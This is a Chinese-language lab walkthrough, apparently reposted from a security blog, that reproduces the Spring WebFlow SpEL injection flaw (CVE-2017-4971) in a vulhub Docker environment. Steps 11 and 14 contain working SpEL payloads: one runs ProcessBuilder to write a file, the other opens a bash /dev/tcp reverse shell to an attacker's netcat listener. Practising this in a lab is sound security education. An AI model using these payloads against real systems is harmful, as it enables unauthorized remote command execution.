网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130

admin 2026年1月31日00:39:37评论100 views字数 1976阅读6分35秒阅读模式

本实验详细讲解了SpringWebFlow远程代码执行漏洞(CVE-2017-4971)的原理与利用过程,通过构造恶意SpEL表达式实现文件写入与反弹shell,帮助理解框架安全漏洞的危害。

Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

实验目的

通过本实验,掌握Spring WebFlow 远程代码执行漏洞原理和利用方法,加深了解Spring WebFlow框架。

实验环境

·操作机:Win10用户名:Administrator密码:Sangfor!7890

·操作机:kali用户名:root密码:Sangfor!7890

·靶机:Ubuntu + docker用户名:root密码:Sangfor!7890

·实验地址:http://ip:8080/login(Spring框架需搭建)

实验原理

由于Spring的框架越来越多,而且后面引入了SpringEl作为默认的表达式解析方式,所以一旦引入了类似于OGNL的表达式,很可能会带来一些安全问题。本次漏洞就是由于Spring WebFlow是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

漏洞介绍该漏洞在2017年5月31号被提交到https://pivotal.io/security/cve-2017-4971平台,官方并没有详细的信息,通过官方描述和补丁的对比,我们可以大致推断应该是Spring WebFlow在Model的数据绑定上面,由于没有明确指定相关model的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞,这个漏洞利用除了版本的限制之外还有两个前置条件,这两个前置条件中有一个是默认配置,另外一个就是编码规范了,漏洞能不能利用成功主要就取决于后面的条件。

实验步骤

第一步启动目标靶机的环境

1、登录"Spring WebFlow"靶机,执行如下命令,进入目标环境所在目录

cd /vulhub-master

cd spring

cd CVE-2017-4971

网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130

2、执行以下命令,运行目标靶机的环境

docker-compose up -d

网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130

 3、登录“Attack”操作机,打开浏览器,访问http://靶机ip:8080,看到酒店预订页面,说明靶机环境启动成功

网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130

第二步漏洞复现

4、通过“Attack”操作机的浏览器访问http://靶机ip:8080,看到登录页面

网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130

5、用页面左边给出的任意一个账号/密码登录网站

网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130
网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130

6、访问id为1的酒店http://靶机ip:8080/hotels/1,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步WebFlow就正式开始了)

网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130
网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130
网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130

7、打开桌面的的“Burp”文件夹,双击“BURP.cmd”启动Burp Suite抓包工具

网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130

8、切换到“Proxy”代理模块的“Options”,查看Bp的代理

网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130

9、切换到浏览器,选择火狐插件中的代理(配置浏览器的的代理),与Bp的代理一致

网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130

10、点击确认“Confirm”按钮,确认酒店预订信息,Bp成功抓取数据包,然后将数据包send to repeater

网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130
网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130

11、修改数据包,加入要执行的代码,然后发送数据包,会返回500的状态码(注意:一定要URL编码,即new+java.lang.ProcessBuilder)

创建文件POC

_(new java.lang.ProcessBuilder("touch","/tmp/success")).start()=sy

网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130

验证文件是否创建成功

12、进入靶机服务器,在docker靶机里可以看到已经在/tmp目录下成功创建了success文件(注意:是进入docker里),执行如下命令

docker ps 查看靶机环境对应的docker容器ID

docker exec -it 容器ID bash 进入docker环境

cd /tmp 进入tmp目录

ls 查看文件

网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130

 反弹shell

13、首先在kali输入以下命令来监听端口

nc -l -p 21

网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130

 14、修改数据包,输入POC【_(new java.lang.ProcessBuilder(“bash”,"-c",“bash -i >& /dev/tcp/【kali攻击机ip】/21 0>&1”)).start()=sy】反弹shell

网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130
网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130

15、获得shell,可以执行系统命令

网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130

实验总结

通过本实验,对Spring WebFlow框架进行远程代码执行,成功向服务器写入文件,并执行相关命令反弹shell,深入了解远程代码执行漏洞的危害。

原文始发于微信公众号(建哥聊安全):网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2026年1月31日00:39:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   网安实验干货每日分享Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)-0130https://cn-sec.com/archives/4965555.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息